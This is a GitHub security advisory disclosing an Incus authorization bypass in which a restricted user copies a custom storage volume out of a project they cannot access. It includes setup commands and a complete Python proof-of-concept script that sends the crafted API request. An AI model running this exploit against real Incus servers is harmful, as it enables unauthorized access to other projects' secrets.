GHSA-64f3-v33m-w89f Incus has a project restriction bypass for custom volume copy across projects

• Go github.com/lxc/incus/v7: < 7.2.0 → fixed in 7.2.0 • Go github.com/lxc/incus/v6: <= 6.23.0 (no fix yet) • Go github.com/lxc/incus: <= 0.7.0 (no fix yet)

Summary Missing authorization checks exist for custom volume copying where an attacker who knows the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access. Details The storage volume creation handler authorizes creation in the target project, then passes `req.Source.Project` into the custom-volume copy path without checking that the caller can view the source volume. `req.Source.Project` is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to `CreateCustomVolumeFromCopy`. No `allowPermission` or entitlement check (e.g. `CanView` on the source volume) is performed. The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server. PoC Setup Assume the target server is remotely accessible and a user/certificate has been added. ``` create a new project and instance incus project create secrets incus profile show default | incus --project secrets edit default incus --project secrets storage volume create default secret-vol restrict an existing certificate to prevent access to the project incus config trust edit cert-fp > set, for example restricted: true projects: • default verification, with the restricted certificate incus --project secrets storage volume ls remote:default ``` Exploitation The below script was partly generated. To copy the secret instance to the default project, the following command can be used. ``` python3 poc.py --url https://IP-REMOTE:8443 \ --cert path/to/client.crt --key path/to/client.key \ --target-project default --source-project secrets \ --source-volume secret-vol --name copy-secret-vol \ --pool default --source-pool default \ --insecure ``` Wait a bit for the custom volume to be copied, then `incus storage volume ls remote:default` to see the copied instance. ``` !/usr/bin/env python3 """Copy a custom storage volume from another project into an allowed project.""" from __future__ import annotations import argparse import json import ssl import sys import urllib.error import urllib.parse import urllib.request def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes: ctx = ssl.create_default_context() if insecure: ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE ctx.load_cert_chain(cert, key) req = urllib.request.Request( url.rstrip("/") + path, data=json.dumps(body).encode(), method="POST", headers={"Content-Type": "application/json", "Accept": "application/json"}, ) try: with urllib.request.urlopen(req, context=ctx) as resp: return resp.read() except urllib.error.HTTPError as exc: sys.stderr.write(exc.read().decode(errors="replace") + "\n") raise def main() -> int: ap = argparse.ArgumentParser() ap.add_argument("--url", required=True) ap.add_argument("--cert", required=True) ap.add_argument("--key", required=True) ap.add_argument("--pool", required=True) ap.add_argument("--target-project", required=True) ap.add_argument("--source-project", required=True) ap.add_argument("--source-volume", required=True) ap.add_argument("--source-pool") ap.add_argument("--name", required=True, help="new volume name in target project") ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"]) ap.add_argument("--volume-only", action="store_true") ap.add_argument("--insecure", action="store_true") ap.add_argument("--dry-run", action="store_true") args = ap.parse_args() source = { "type": "copy", "name": args.source_volume, "project": args.source_project, "volume_only": args.volume_only, } if args.source_pool: source["pool"] = args.source_pool body = { "name": args.name, "type": "custom", "content_type": args.content_type, "source": source, } path = "/1.0/storage-pools/{}/volumes/custom?{}".format( urllib.parse.quote(args.pool, safe=""), urllib.parse.urlencode({"project": args.target_project}), ) print(json.dumps(body, indent=2)) if args.dry_run: return 0 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace")) return 0 if __name__ == "__main__": raise SystemExit(main()) ``` Impact An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.